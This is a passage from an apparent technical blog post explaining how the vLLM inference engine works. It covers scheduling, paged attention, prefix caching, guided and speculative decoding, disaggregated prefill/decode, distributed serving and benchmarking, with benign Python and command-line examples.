Because the forward pass flattens the batch into a single sequence and custom kernels handle it efficiently, continuous batching is fundamentally supported even in the synchronous engine.

Next, as long as there are requests to process, the engine repeatedly calls its step() function. Each step has three stages:

1. Schedule: select which requests to run in this step (decode, and/or (chunked) prefill)
2. Forward pass: run the model and sample tokens
3. Postprocess: append sampled token IDs to each Request, detokenize, and check stop conditions. If a request is finished, clean up (e.g. return its KV-cache blocks to free_block_queue) and return the output early

📝Stop conditions are:

• The request exceeds its length limit (max_model_length or its own max_tokens)
• The sampled token is the EOS ID (unless ignore_eos is enabled -> useful for benchmarking when we want to force a generation of a certain number of out tokens)
• The sampled token matches any of the stop_token_ids specified in the sampling parameters
• Stop strings are present in the output - we truncate the output until the first stop string appearance and abort the request in the engine (note that stop_token_ids will be present in the output but stop strings will not).

Engine loop

In streaming mode, we would send intermediate tokens as they are generated, but we'll ignore that for now.

Next, we'll examine scheduling in more detail.

Scheduler

There are two main types of workloads an inference engine handles:

1. Prefill requests — a forward pass over all prompt tokens. These are usually compute-bound (threshold depends on hardware and prompt length). At the end, we sample a single token from the probability distribution of the final token's position.
2. Decode requests — a forward pass over just the most recent token. All earlier KV vectors are already cached. These are memory-bandwidth-bound, since we still need to load all LLM weights (and KV caches) just to compute one token.

In the benchmarking section we'll analyze the so-called roofline model of GPU perf. That will go into more detail behind prefill/decode perf profiles.

The V1 scheduler can mix both types of requests in the same step, thanks to smarter design choices. In contrast, the V0 engine could only process either prefill or decode at once.

The scheduler prioritizes decode requests — i.e. those already in the running queue. For each such request it:

1. Computes the number of new tokens to generate (not always 1, due to speculative decoding and async scheduling — more on that later).
2. Calls the KV-cache manager's allocate_slots function (details below).
3. Updates the token budget by subtracting the number of tokens from step 1.

After that, it processes prefill requests from the waiting queue, it:

1. Retrieves the number of computed blocks (returns 0 if prefix caching is disabled — we'll cover that later).
2. Calls the KV-cache manager's allocate_slots function.
3. Pops the request from waiting and moves it to running, setting its status to RUNNING.
4. Updates the token budget.

Let's now look at what allocate_slots does, it:

1. Computes number of blocks — determines how many new KV-cache blocks (n) must be allocated. Each block stores 16 tokens by default. For example, if a prefill request has 17 new tokens, we need ceil(17/16) = 2 blocks.
2. Checks availability — if there aren't enough blocks in the manager's pool, exit early. Depending on whether it's a decode or prefill request, the engine may attempt recompute preemption (swap preemption was supported in V0) by evicting low-priority requests (calling kv_cache_manager.free which returns KV blocks to block pool), or it might skip scheduling and continue execution.
3. Allocates blocks — via the KV-cache manager's coordinator, fetches the first n blocks from the block pool (the free_block_queue doubly linked list mentioned earlier). Stores to req_to_blocks, the dictionary mapping each request_id to its list of KV-cache blocks.

list of KV cache blocks

We're finally ready to do a forward pass!

Run forward pass

We call model executor's execute_model, which delegates to the Worker, which in turn delegates to the model runner.

Here are the main steps:

1. Update states — prune finished requests from input_batch; update misc fwd pass related metadata (e.g., KV cache blocks per request that will be used to index into paged KV cache memory).
2. Prepare inputs — copy buffers from CPU→GPU; compute positions; build slot_mapping (more on that in example); construct attention metadata.
3. Forward pass — run the model with custom paged attn kernels. All sequences are flattened and concatenated into one long "super sequence". Position indices and attention masks ensure each sequence only attends to its own tokens, which enables continuous batching without right-padding.
4. Gather last-token states — extract hidden states for each sequence's final position and compute logits.
5. Sample — sample tokens from computed logits as dictated by the sampling config (greedy, temperature, top-p, top-k, etc.).

Forward-pass step itself has two execution modes:

1. Eager mode — run the standard PyTorch forward pass when eager execution is enabled.
2. "Captured" mode — execute/replay a pre-captured CUDA Graph when eager is not enforced (remember we captured these during engine construction in the initialize KV cache procedure).

Here is a concrete example that should make continuous batching and paged attention clear:

Forward pass: continuous batching and paged attention

Advanced Features — extending the core engine logic

With the basic engine flow in place, we can now look at the advanced features.

We've already discussed preemption, paged attention, and continuous batching.

Next, we'll dive into:

1. Chunked prefill
2. Prefix caching
3. Guided decoding (through grammar-constrained finite-state machines)
4. Speculative decoding
5. Disaggregated P/D (prefill/decoding)

Chunked prefill

Chunked prefill is a technique for handling long prompts by splitting their prefill step into smaller chunks. Without it, we could end up with a single very long request monopolizing one engine step disallowing other prefill requests to run. That would postpone all other requests and increase their latency.

For example, let each chunk contain n (=8) tokens, labeled with lowercase letters separated by "-". A long prompt P could look like x-y-z, where z is an incomplete chunk (e.g. 2 toks). Executing the full prefill for P would then take ≥ 3 engine steps (> can happen if it's not scheduled for execution in one of the steps), and only in the last chunked prefill step would we sample one new token.

Here is that same example visually:

Implementation is straightforward: cap the number of new tokens per step. If the requested number exceeds long_prefill_token_threshold, reset it to exactly that value. The underlying indexing logic (described earlier) takes care of the rest.

In vLLM V1, you enable chunked prefill by setting long_prefill_token_threshold to a positive integer. (Technically, it can happen irrespective of this, if the prompt length exceeds the token budget we truncate it and run a chunked prefill.)

Prefix Caching

To explain how prefix caching works, let's take the original code example and tweak it a bit:

from vllm import LLM, SamplingParams

long_prefix = "<a piece of text that is encoded into more than block_size tokens>"

prompts = [
    "Hello, my name is",
    "The president of the United States is",
]

sampling_params = SamplingParams(temperature=0.8, top_p=0.95)

def main():
    llm = LLM(model="TinyLlama/TinyLlama-1.1B-Chat-v1.0")

    outputs = llm.generate(long_prefix + prompts[0], sampling_params)
    outputs = llm.generate(long_prefix + prompts[1], sampling_params)

if __name__ == "__main__":
    main()

Prefix caching avoids recomputing tokens that multiple prompts share at the beginning - hence prefix.

The crucial piece is the long_prefix: it's defined as any prefix longer than a KV-cache block (16 tokens by default). To simplify our example let's say long_prefix has exactly length n x block_size (where n ≥ 1).

i.e. it perfectly aligns with block boundary - otherwise we'd have to recompute long_prefix_len % block_size tokens as we can't cache incomplete blocks.

Without prefix caching, each time we process a new request with the same long_prefix, we'd recompute all n x block_size tokens.

With prefix caching, those tokens are computed once (their KVs stored in KV cache paged memory) and then reused, so only the new prompt tokens need processing. This speeds up prefill requests (though it doesn't help with decode).

How does this work in vLLM?

During the first generate call, in the scheduling stage, inside kv_cache_manager.get_computed_blocks, the engine invokes hash_request_tokens:

1. This function splits the long_prefix + prompts[0] into 16-token chunks.

2. For each complete chunk, it computes a hash (using either the built-in hash or SHA-256, which is slower but has fewer collisions). The hash combines the previous block's hash, the current tokens, and optional metadata.

   optional metadata includes: MM hash, LoRA ID, cache salt (injected into hash of the first block ensures only requests with this cache salt can reuse blocks).

3. Each result is stored as a BlockHash object containing both the hash and its token IDs. We return a list of block hashes.

The list is stored in self.req_to_block_hashes[request_id].

Next, the engine calls find_longest_cache_hit to check if any of these hashes already exist in cached_block_hash_to_block. On the first request, no hits are found.

Then we call allocate_slots which calls coordinator.cache_blocks, which associates the new BlockHash entries with allocated KV blocks and records them in cached_block_hash_to_block.

Afterwards, the forward pass will populate KVs in paged KV cache memory corresponding to KV cache blocks that we allocated above.

After many engine steps it'll allocate more KV cache blocks but it doesn't matter for our example because the prefix has diverged immediately after long_prefix.

Prefix caching logic - pt 2

On a second generate call with the same prefix, steps 1-3 repeat, but now find_longest_cache_hit finds matches for all n blocks (via linear search). The engine can reuse those KV blocks directly.

Prefix caching logic - pt 3

If the original request were still alive, the reference count for those blocks would increment (e.g. to 2). In this example, the first request has already completed, so the blocks were freed back to the pool and their reference counts set back to 0. Because we were able to retrieve them from cached_block_hash_to_block we know they're valid (the logic of the KV cache manager is setup in such a way), so we just remove them from free_block_queue again.

📝Advanced note:

KV-cache blocks become invalid only when they're about to be reallocated from the free_block_queue (which pops from the left) and we discover the block still has an associated hash and is present in cached_block_hash_to_block. At that moment, we clear the block's hash and remove its entry from cached_block_hash_to_block, ensuring it can't be reused via prefix caching (at least not for that old prefix).

And that's the gist of prefix caching: don't recompute prefixes you've already seen — just reuse their KV cache!

If you understood this example you also understood how paged attention works.

Prefix caching is enabled by default. To disable it: enable_prefix_caching = False.

Guided Decoding (FSM)

Guided decoding is a technique where, at each decoding step, the logits are constrained by a grammar-based finite state machine. This ensures that only tokens allowed by the grammar can be sampled.

It's a powerful setup: you can enforce anything from regular grammars (Chomsky type-3, e.g. arbitrary regex patterns) all the way up to context-free grammars (type-2, which cover most programming languages).

To make this less abstract, let's start with the simplest possible example, building on our earlier code:

from vllm import LLM, SamplingParams
from vllm.sampling_params import GuidedDecodingParams

prompts = [
    "This sucks",
    "The weather is beautiful",
]

guided_decoding_params = GuidedDecodingParams(choice=["Positive", "Negative"])
sampling_params = SamplingParams(guided_decoding=guided_decoding_params)

def main():
    llm = LLM(model="TinyLlama/TinyLlama-1.1B-Chat-v1.0")

    outputs = llm.generate(prompts, sampling_params)

if __name__ == "__main__":
    main()

In the toy example I gave (assume character-level tokenization): at prefill, the FSM masks logits so only "P" or "N" are viable. If "P" is sampled, the FSM moves to the "Positive" branch; next step only "o" is allowed, and so on.

FSM

Toy example FSM

How this works in vLLM:

1. At LLM engine construction, a StructuredOutputManager is created; it has access to the tokenizer and maintains a _grammar_bitmask tensor.
2. When adding a request, its status is set to WAITING_FOR_FSM and grammar_init selects the backend compiler (e.g., xgrammar [7]; note that backends are 3rd party code).
3. The grammar for this request is compiled asynchronously.
4. During scheduling, if the async compile has completed, the status switches to WAITING and request_id is added to structured_output_request_ids; otherwise it's placed in skipped_waiting_requests to retry on next engine step.
5. After the scheduling loop (still inside scheduling), if there are FSM requests, the StructuredOutputManager asks the backend to prepare/update _grammar_bitmask.
6. After the forward pass produces logits, xgr_torch_compile's function expands the bitmask to vocab size (32x expansion ratio because we use 32 bit integers) and masks disallowed logits to –∞.
7. After sampling the next token, the request's FSM is advanced via accept_tokens. Visually we move to the next state on the FSM diagram.

Step 6 deserves further clarification.

If vocab_size = 32, _grammar_bitmask is a single integer; its binary representation encodes which tokens are allowed ("1") vs disallowed ("0"). For example, "101…001" expands to a length-32 array [1, 0, 1, …, 0, 0, 1]; positions with 0 get logits set to –∞. For larger vocabularies, multiple 32-bit words are used and expanded/concatenated accordingly. The backend (e.g., xgrammar) is responsible for producing these bit patterns using the current FSM state.

📝Note:

Most of the complexity here is hidden in the 3rd party libs like xgrammar.

Here is an even simpler example with vocab_size = 8 and 8-bit integers (for those of you who like my visuals):

FSM

Toy example

You can enable this in vLLM by passing in a desired guided_decoding config.

Speculative Decoding

In autoregressive generation, each new token requires a forward pass of the large LM. This is expensive — every step reloads and applies all model weights just to compute a single token! (assuming batch size == 1, in general it's B)

Speculative decoding [8] speeds this up by introducing a smaller draft LM. The draft proposes k tokens cheaply. But we don't ultimately want to sample from the smaller model — it's only there to guess candidate continuations. The large model still decides what's valid.

Here are the steps:

1. Draft: run the small model on the current context and propose k tokens

2. Verify: run the large model once on context + k draft tokens. This produces probabilities for those k positions plus one extra (so we get k+1 candidates)

3. Accept/reject: going from left to right over the k draft tokens:

   • If the large model's probability for the draft token ≥ the draft's probability, accept it

   • Otherwise, accept it with probability p_large(token)/p_draft(token)

   • Stop at the first rejection, or accept all k draft tokens.

     • If all k draft tokens are accepted, also sample the extra (k+1)-th token "for free" from the large model (we already computed that distribution).
     • If there was a rejection create a new rebalanced distribution at that position (p_large - p_draft, clamp min at 0, normalize to sum to 1) and sample the last token from it.

Why this works: Although we use the small model to propose candidates, the accept/reject rule guarantees that in expectation the sequence is distributed exactly as if we had sampled token by token from the large model. This means speculative decoding is statistically equivalent to standard autoregressive decoding — but potentially much faster, since a single large-model pass can yield up to k+1 tokens.

📝Note:

I recommend looking at gpt-fast for a simple implementation, and the original paper for the math details and the proof of equivalence to sampling from the full model.

vLLM V1 does not support the LLM draft model method, instead it implements faster—but less accurate—proposal schemes: n-gram, EAGLE [9], and Medusa [10].

One-liners on each:

1. n-gram: take the last prompt_lookup_max tokens; find a prior match in the sequence; if found, propose the k tokens that followed that match; otherwise decrement the window and retry down to prompt_lookup_min

   The current implementation returns k tokens after the first match. It feels more natural to introduce a recency bias and reverse the search direction? (i.e. last match)

2. Eagle: perform "model surgery" on the large LM—keep embeddings and LM head, replace the transformer stack with a lightweight MLP; fine-tune that as a cheap draft

3. Medusa: train auxiliary linear heads on top (embeddings before LM head) of the large model to predict the next k tokens in parallel; use these heads to propose tokens more efficiently than running a separate small LM

Here's how to invoke speculative decoding in vLLM using ngram as the draft method:

from vllm import LLM, SamplingParams

prompts = [
    "Hello, my name is",
    "The president of the United States is",
]

sampling_params = SamplingParams(temperature=0.8, top_p=0.95)

speculative_config={
    "method": "ngram",
    "prompt_lookup_max": 5,
    "prompt_lookup_min": 3,
    "num_speculative_tokens": 3,
}

def main():
    llm = LLM(model="TinyLlama/TinyLlama-1.1B-Chat-v1.0", speculative_config=speculative_config)

    outputs = llm.generate(prompts, sampling_params)

if __name__ == "__main__":
    main()

How does this work in vLLM?

Setup (during engine construction):

1. Init device: create a drafter (draft model, e.g., NgramProposer) and a rejection_sampler (parts of it are written in Triton).
2. Load model: load draft model weights (no-op for n-gram).

After that in the generate function (assume we get a brand new request):

1. Run the regular prefill step with the large model.
2. After the forward pass and standard sampling, call propose_draft_token_ids(k) to sample k draft tokens from the draft model.
3. Store these in request.spec_token_ids (update the request metadata).
4. On the next engine step, when the request is in the running queue, add len(request.spec_token_ids) to the "new tokens" count so allocate_slots reserves sufficient KV blocks for the fwd pass.
5. Copy spec_token_ids into input_batch.token_ids_cpu to form (context + draft) tokens.
6. Compute metadata via _calc_spec_decode_metadata (this copies over tokens from input_batch.token_ids_cpu, prepares logits, etc.), then run a large-model forward pass over the draft tokens.
7. Instead of regular sampling from logits, use the rejection_sampler to accept/reject left-to-right and produce output_token_ids.
8. Repeat steps 2-7 until a stop condition is met.

The best way to internalize this is to fire up your debugger and step through the codebase, but this section hopefully gives you a taste for it. This as well:

Drafting stage

Verify stage & rejection sampling stage

Disaggregated P/D

I've already previously hinted at the motivation behind disaggregated P/D (prefill/decode).

Prefill and decode have very different performance profiles (compute-bound vs. memory-bandwidth-bound), so separating their execution is a sensible design. It gives tighter control over latency — both TTFT (time-to-first-token) and ITL (inter-token latency) — more on this in the benchmarking section.

In practice, we run N vLLM prefill instances and M vLLM decode instances, autoscaling them based on the live request mix. Prefill workers write KV to a dedicated KV-cache service; decode workers read from it. This isolates long, bursty prefill from steady, latency-sensitive decode.

How does this work in vLLM?

For clarity, the example below relies on SharedStorageConnector, a debugging connector implementation used to illustrate the mechanics.

Connector is vLLM's abstraction for handling the exchange of KVs between instances. Connector interface is not yet stable, there are some near-term improvements planned which will involve changes, some potentially breaking.

We launch 2 vLLM instances (GPU 0 for prefill and GPU 1 for decode), and then transfer the KV cache between them:

import os
import time
from multiprocessing import Event, Process
import multiprocessing as mp

from vllm import LLM, SamplingParams
from vllm.config import KVTransferConfig

prompts = [
    "Hello, my name is",
    "The president of the United States is",
]

def run_prefill(prefill_done):
  os.environ["CUDA_VISIBLE_DEVICES"] = "0"

  sampling_params = SamplingParams(temperature=0, top_p=0.95, max_tokens=1)

  ktc=KVTransferConfig(
      kv_connector="SharedStorageConnector",
      kv_role="kv_both",
      kv_connector_extra_config={"shared_storage_path": "local_storage"},
  )

  llm = LLM(model="TinyLlama/TinyLlama-1.1B-Chat-v1.0", kv_transfer_config=ktc)
  llm.generate(prompts, sampling_params)

  prefill_done.set()  # notify decode instance that KV cache is ready

  # To keep the prefill node running in case the decode node is not done;
  # otherwise, the script might exit prematurely, causing incomplete decoding.
  try:
      while True:
          time.sleep(1)
  except KeyboardInterrupt:
      print("Script stopped by user.")

def run_decode(prefill_done):
  os.environ["CUDA_VISIBLE_DEVICES"] = "1"

  sampling_params = SamplingParams(temperature=0, top_p=0.95)

  ktc=KVTransferConfig(
      kv_connector="SharedStorageConnector",
      kv_role="kv_both",
      kv_connector_extra_config={"shared_storage_path": "local_storage"},
  )

  llm = LLM(model="TinyLlama/TinyLlama-1.1B-Chat-v1.0", kv_transfer_config=ktc)

  prefill_done.wait()  # block waiting for KV cache from prefill instance

  # Internally it'll first fetch KV cache before starting the decoding loop
  outputs = llm.generate(prompts, sampling_params)

if __name__ == "__main__":
  prefill_done = Event()
  prefill_process = Process(target=run_prefill, args=(prefill_done,))
  decode_process = Process(target=run_decode, args=(prefill_done,))

  prefill_process.start()
  decode_process.start()

  decode_process.join()
  prefill_process.terminate()

📝Note:

I've also experimented with LMCache, the fastest production-ready connector (uses NVIDIA's NIXL as the backend), but it's still at the bleeding edge and I ran into some bugs. Since much of its complexity lives in an external repo, SharedStorageConnector is a better choice for explanation.

These are the steps in vLLM:

1. Instantiation — During engine construction, connectors are created in two places:

   • Inside the worker's init device procedure (under init worker distributed environment function), with role "worker".
   • Inside the scheduler constructor, with role "scheduler".

2. Cache lookup — When the scheduler processes prefill requests from the waiting queue (after local prefix-cache checks), it calls connector's get_num_new_matched_tokens. This checks for externally cached tokens in the KV-cache server. Prefill always sees 0 here; decode may have a cache hit. The result is added to the local count before calling allocate_slots.

3. State update — The scheduler then calls connector.update_state_after_alloc, which records requests that had a cache (no-op for prefill).

4. Meta build — At the end of scheduling, the scheduler calls meta = connector.build_connector_meta:

   • Prefill adds all requests with is_store=True (to upload KV).
   • Decode adds requests with is_store=False (to fetch KV).

5. Context manager — Before the forward pass, the engine enters a KV-connector context manager:

   • On enter: kv_connector.start_load_kv is called. For decode, this loads KV from the external server and injects it into paged memory. For prefill, it's a no-op.
   • On exit: kv_connector.wait_for_save is called. For prefill, this blocks until KV is uploaded to the external server. For decode, it's a no-op.

Here is a visual example:

disaggregated P/D

disaggregated P/D

📝Additional notes:

• For SharedStorageConnector "external server" is just a local file system.
• Depending on configuration, KV transfers can also be done layer-by-layer (before/after each attention layer).
• Decode loads external KV only once, on the first step of its requests; afterwards it computes/stores locally.

From UniprocExecutor to MultiProcExecutor

With the core techniques in place, we can now talk about scaling up.

Suppose your model weights no longer fit into a single GPU's VRAM.

The first option is to shard the model across multiple GPUs on the same node using tensor parallelism (e.g., TP=8). If the model still doesn't fit, the next step is pipeline parallelism across nodes.

📝Notes:

• Intranode bandwidth is significantly higher than internode, which is why tensor parallelism (TP) is generally preferred over pipeline parallelism (PP). (It is also true that PP communicates less data than TP.)
• I'm not covering expert parallelism (EP) since we're focusing on standard transformers rather than MoE, nor sequence parallelism, as TP and PP are the most commonly used in practice.

At this stage, we need multiple GPU processes (workers) and an orchestration layer to coordinate them. That's exactly what MultiProcExecutor provides.

MultiProcExecutor

MultiProcExecutor in a TP=8 setting (driver worker being rank 0)

How this works in vLLM:

1. MultiProcExecutor initializes an rpc_broadcast_mq message queue (implemented with shared memory under the hood).

2. The constructor loops over world_size (e.g. TP=8 ⇒ world_size=8) and spawns a daemon process for each rank via WorkerProc.make_worker_process.

3. For each worker, the parent first creates a reader and writer pipe.

4. The new process runs WorkerProc.worker_main, which instantiates a worker (going through the same "init device", "load model", etc. as in UniprocExecutor).

5. Each worker determines whether it is the driver (rank 0 in the TP group) or a regular worker. Every worker sets up two queues:

   • rpc_broadcast_mq (shared with the parent) for receiving work.
   • worker_response_mq for sending responses back.

6. During initialization, each child sends its worker_response_mq handle to the parent via the pipe. Once all are received, the parent unblocks — this completes coordination.

7. Workers then enter a busy loop, blocking on rpc_broadcast_mq.dequeue. When a work item arrives, they execute it (just like in UniprocExecutor, but now with TP/PP-specific partitioned work). Results are sent back through worker_response_mq.enqueue.

8. At runtime, when a request arrives, MultiProcExecutor enqueues it into rpc_broadcast_mq (non-blocking) for all children workers. It then waits on the designated output rank's worker_response_mq.dequeue to collect the final result.

From the engine's perspective, nothing has changed — all of this multiprocessing complexity is abstracted away through a call to model executor's execute_model.

• In the UniProcExecutor case: execute_model directly leads to calling execute_model on the worker
• In the MultiProcExecutor case: execute_model indirectly leads to calling execute_model on each worker through rpc_broadcast_mq

At this point, we can run models that are as large as resources allow using the same engine interface.

The next step is to scale out: enable data parallelism (DP > 1) replicating the model across nodes, add a lightweight DP coordination layer, introduce load balancing across replicas, and place one or more API servers in front to handle incoming traffic.

Distributed system serving vLLM

There are many ways to set up serving infrastructure, but to stay concrete, here's one example: suppose we have two H100 nodes and want to run four vLLM engines across them.

If the model requires TP=4, we can configure the nodes like this.

server configuration with 2 8xH100 nodes

server configuration with 2 8xH100 nodes (1 headless, 1 api server)

On the first node, run the engine in headless mode (no API server) with the following arguments:

vllm serve <model-name>
  --tensor-parallel-size 4
  --data-parallel-size 4
  --data-parallel-size-local 2
  --data-parallel-start-rank 0
  --data-parallel-address <master-ip>
  --data-parallel-rpc-port 13345
  --headless

and run that same command on the other node with few tweaks:

• no --headless
• modify DP start rank

vllm serve <model-name>
  --tensor-parallel-size 4
  --data-parallel-size 4
  --data-parallel-size-local 2
  --data-parallel-start-rank 2
  --data-parallel-address <master-ip>
  --data-parallel-rpc-port 13345

📝Note:

This assumes networking is configured so all nodes can reach the specified IP and port.

How does this work in VLLM?

On the headless server node

On the headless node, a CoreEngineProcManager launches 2 processes (per --data-parallel-size-local) each running EngineCoreProc.run_engine_core. Each of these functions creates a DPEngineCoreProc (the engine core) and then enters its busy loop.

DPEngineCoreProc initializes its parent EngineCoreProc (child of EngineCore), which:

1. Creates an input_queue and output_queue (queue.Queue).
2. Performs an initial handshake with the frontend on the other node using a DEALER ZMQ socket (async messaging lib), and receives coordination address info.
3. Initializes DP group (e.g. using NCCL backend).
4. Initializes the EngineCore with MultiProcExecutor (TP=4 on 4 GPUs as described earlier).
5. Creates a ready_event (threading.Event).
6. Starts an input deamon thread (threading.Thread) running process_input_sockets(…, ready_event). Similarly starts an output thread.
7. Still in the main thread, waits on ready_event until all input threads across all 4 processes (spanning the 2 nodes) have completed the coordination handshake finally executing ready_event.set().
8. Once unblocked, sends a "ready" message to the frontend with metadata (e.g., num_gpu_blocks available in paged KV cache memory).
9. The main, input, and output threads then enter their respective busy loops.

distributed system with 4 DPEngineCoreProc

distributed system with 4 DP replicas running 4 DPEngineCoreProc

Current steady state:

• Input thread — blocks on the input socket until a request is routed from the API server; upon receipt, it decodes the payload, enqueues a work item via input_queue.put_nowait(...), and returns to blocking on the socket.
• Main thread — wakes on input_queue.get(...), feeds the request to the engine; MultiProcExecutor runs the forward pass and enqueues results to output_queue.
• Output thread — wakes on output_queue.get(...), sends the result back to the API server, then resumes blocking.

Additional mechanics:

• DP wave counter — the system tracks "waves"; when all engines become idle they quiesce, and the counter increments when new work arrives (useful for coordination/metrics).
• Control messages — the API server can send more than just inference requests (e.g., aborts and utility/control RPCs).
• Dummy steps for lockstep — if any DP replica has work, all replicas execute a forward step; replicas without requests perform a dummy step to participate in required synchronization points (avoids blocking the active replica).

Lockstep clarification: this is actually only required for MoE models where the expert layers form an EP or TP group while attention layers are still DP. It's currently always done with DP - this is just because there's limited use for "built-in" non-MoE DP since you could just run multiple independent vLLMs and load-balance between them in a normal way.

Now for the second part, what happens on the API server node?

On the API server node

We instantiate an AsyncLLM object (an asyncio wrapper around the LLM engine). Internally this creates a DPLBAsyncMPClient (data-parallel, load-balancing, asynchronous, multiprocessing client).

Inside the parent class of MPClient, the launch_core_engines function runs and:

1. Creates the ZMQ addresses used for the startup handshake (as seen on the headless node).
2. Spawns a DPCoordinator process.
3. Creates a CoreEngineProcManager (same as on the headless node).

Inside AsyncMPClient (child of MPClient), we:

1. Create an outputs_queue (asyncio.Queue).
2. We create an asyncio task process_outputs_socket which communicates (through the output socket) with output threads of all 4 DPEngineCoreProc and writes into outputs_queue.
3. Subsequently one more asyncio task output_handler from AsyncLLM reads from this queue and finally sends out information to the create_completion function.

Inside DPAsyncMPClient we create an asyncio task run_engine_stats_update_task which communicates with DP coordinator.

The DP coordinator mediates between the frontend (API server) and backend (engine cores). It:

• Periodically sends load-balancing info (queue sizes, waiting/running requests) to the frontend's run_engine_stats_update_task.
• Handles SCALE_ELASTIC_EP commands from the frontend by dynamically changing the number of engines (only works with Ray backend).
• Sends START_DP_WAVE events to the backend (when triggered by frontend) and reports wave-state updates back.

To recap, the frontend (AsyncLLM) runs several asyncio tasks (remember: concurrent, not parallel):

• A class of tasks handles input requests through the generate path (each new client request spawns a new asyncio task).
• Two tasks (process_outputs_socket, output_handler) process output messages from the underlying engines.
• One task (run_engine_stats_update_task) maintains communication with the DP coordinator: sending wave triggers, polling LB state, and handling dynamic scaling requests.

Finally, the main server process creates a FastAPI app and mounts endpoints such as OpenAIServingCompletion and OpenAIServingChat, which expose /completion, /chat/completion, and others. The stack is then served via Uvicorn.

So, putting it all together, here's the full request lifecycle!

You send from your terminal:

curl -X POST http://localhost:8000/v1/completions -H "Content-Type: application/json" -d '{
  "model": "TinyLlama/TinyLlama-1.1B-Chat-v1.0",
  "prompt": "The capital of France is",
  "max_tokens": 50,
  "temperature": 0.7
}'

What happens next:

1. The request hits OpenAIServingCompletion's create_completion route on the API server.

2. The function tokenizes the prompt asynchronously, and prepares metadata (request ID, sampling params, timestamp, etc.).

3. It then calls AsyncLLM.generate, which follows the same flow as the synchronous engine, eventually invoking DPAsyncMPClient.add_request_async.

4. This in turn calls get_core_engine_for_request, which does load balancing across engines based on the DP coordinator's state (picking the one that has minimal score / lowest load: score = len(waiting) * 4 + len(running)).

5. The ADD request is sent to the chosen engine's input_socket.

6. At that engine:

   • Input thread — unblocks, decodes data from the input socket, and places a work item on the input_queue for the main thread.

   • Main thread — unblocks on input_queue, adds the request to the engine, and repeatedly calls engine_core.step(), enqueueing intermediate results to output_queue until a stop condition is met.

     Reminder: step() calls the scheduler, model executor (which in turn can be MultiProcExecutor!), etc. We have already seen this!

   • Output thread — unblocks on output_queue and sends results back through the output socket.

7. Those results trigger the AsyncLLM output asyncio tasks (process_outputs_socket and output_handler), which propagate tokens back to FastAPI's create_completion route.

8. FastAPI attaches metadata (finish reason, logprobs, usage info, etc.) and returns a JSONResponse via Uvicorn to your terminal!

And just like that, your completion came back — the whole distributed machinery hidden behind a simple curl command! :) So much fun!!!

📝Additional notes:

• When adding more API servers, load balancing is handled at the OS/socket level. From the application's perspective, nothing significant changes — the complexity is hidden.
• With Ray as a DP backend, you can expose a URL endpoint (/scale_elastic_ep) that enables automatic scaling of the number of engine replicas up or down.

Benchmarks and auto-tuning - latency vs throughput

So far we've been analyzing the "gas particles" — the internals of how requests flow through the engine/system. Now it's time to zoom out and look at the system as a whole, and ask: how do we measure the performance of an inference system?

At the highest level there are two competing metrics:

1. Latency — the time from when a request is submitted until tokens are returned
2. Throughput — the number of tokens/requests per second the system can generate/process

Latency matters most for interactive applications, where users are waiting on responses.

Throughput matters in offline workloads like synthetic data generation for pre/post-training runs, data cleaning/processing, and in general - any type of offline batch inference jobs.

Before explaining why latency and throughput compete, let's define a few common inference metrics:

Metric	Definition
TTFT (time to first token)	Time from request submission until the first output token is received
ITL (inter-token latency)	Time between two consecutive tokens (e.g., from token i-1 to token i)
TPOT (time per output token)	The average ITL across all output tokens in a request
Latency / E2E (end-to-end latency)	Total time to process a request, i.e. TTFT + sum of all ITLs, or equivalently the time between submitting request and receiving the last output token
Throughput	Total tokens processed per second (input, output, or both), or alternatively requests per second
Goodput	Throughput that meets service-level objectives (SLOs) such as max TTFT, TPOT, or e2e latency. For example, only tokens from requests meeting those SLOs are counted

ttft, itl, e2e latency

ttft, itl, e2e latency

Here is a simplified model explaining the competing nature of these 2 metrics.

Assumption: weight i/o and not KV cache i/o dominates; i.e. we're dealing with short sequences.

The tradeoff becomes clear when looking at how batch size B affects a single decode step. As B ↓ toward 1, ITL drops: there's less work per step and the token isn't "competing" with others. As B ↑ toward infinity, ITL rises because we do more FLOPs per step—but throughput improves (until we hit peak perf) because weight I/O is amortized across more tokens.

A roofline model helps with understanding here: below a saturation batch B_sat, the step time is dominated by HBM bandwidth (streaming weights layer-by-layer into on-chip memory), so step latency is nearly flat—computing 1 vs 10 tokens can take a similar time. Beyond B_sat, the kernels become compute-bound and step time grows roughly with B; each extra token adds to ITL.

roofline perf model

roofline perf model

📝Note:

For a more rigorous treatment, we have to account for kernel auto-tuning: as B grows, the runtime may switch to more efficient kernels for that shape, changing the achieved performance P_kernel. Step latency is t = FLOPs_step / P_kernel, where FLOPs_step is the work in the step. You can see that as P_kernel hits P_peak more compute per step will directly lead to an increase in latency.

How to benchmark in vLLM

vLLM provides a vllm bench {serve,latency,throughput} CLI that wraps vllm / benchmarks / {server,latency,throughput}.py.

Here is what the scripts do:

• latency — uses a short input (default 32 tokens) and samples 128 output tokens with a small batch (default 8). It runs several iterations and reports e2e latency for the batch.
• throughput — submits a fixed set of prompts (default: 1000 ShareGPT samples) all at once (aka as QPS=Inf mode), and reports input/output/total tokens and requests per second across the run.
• serve — Launches a vLLM server and simulates a real-world workload by sampling request inter-arrival times from a Poisson (or more generally, Gamma) distribution. It sends requests over a time window, measures all the metrics we’ve discussed, and can optionally enforce a server-side max concurrency (via a semaphore, e.g. limiting the server to 64 concurrent requests).

Here is an example of how you can run the latency script:

vllm bench latency
  --model <model-name>
  --input-tokens 32
  --output-tokens 128
  --batch-size 8

Benchmark configs used in CI live under .buildkite/nightly-benchmarks/tests.

There is also an auto-tune script that drives the serve benchmark to find argument settings that meet target SLOs (e.g., "maximize throughput while keeping p99 e2e < 500 ms"), returning a suggested config.

Epilogue

We began with the basic engine core (UniprocExecutor), added advanced features like speculative decoding and prefix caching, scaled up to MultiProcExecutor (with TP/PP > 1), and finally scaled out, wrapped everything in the asynchronous engine and distributed serving stack—closing with how to measure system performance.

vLLM also includes specialized handling that I've skipped. E.g.:

• Diverse hardware backends: TPUs, AWS Neuron (Trainium/Inferentia), etc.
• Architectures/techniques: MLA, MoE, encoder-decoder (e.g., Whisper), pooling/embedding models, EPLB, m-RoPE, LoRA, ALiBi, attention-free variants, sliding-window attention, multimodal LMs, and state-space models (e.g., Mamba/Mamba-2, Jamba)
• TP/PP/SP
• Hybrid KV-cache logic (Jenga), more complex sampling methods like beam sampling, and more
• Experimental: async scheduling

The nice thing is that most of these are orthogonal to the main flow described above—you can almost treat them like "plugins" (in practice there's some coupling, of course).

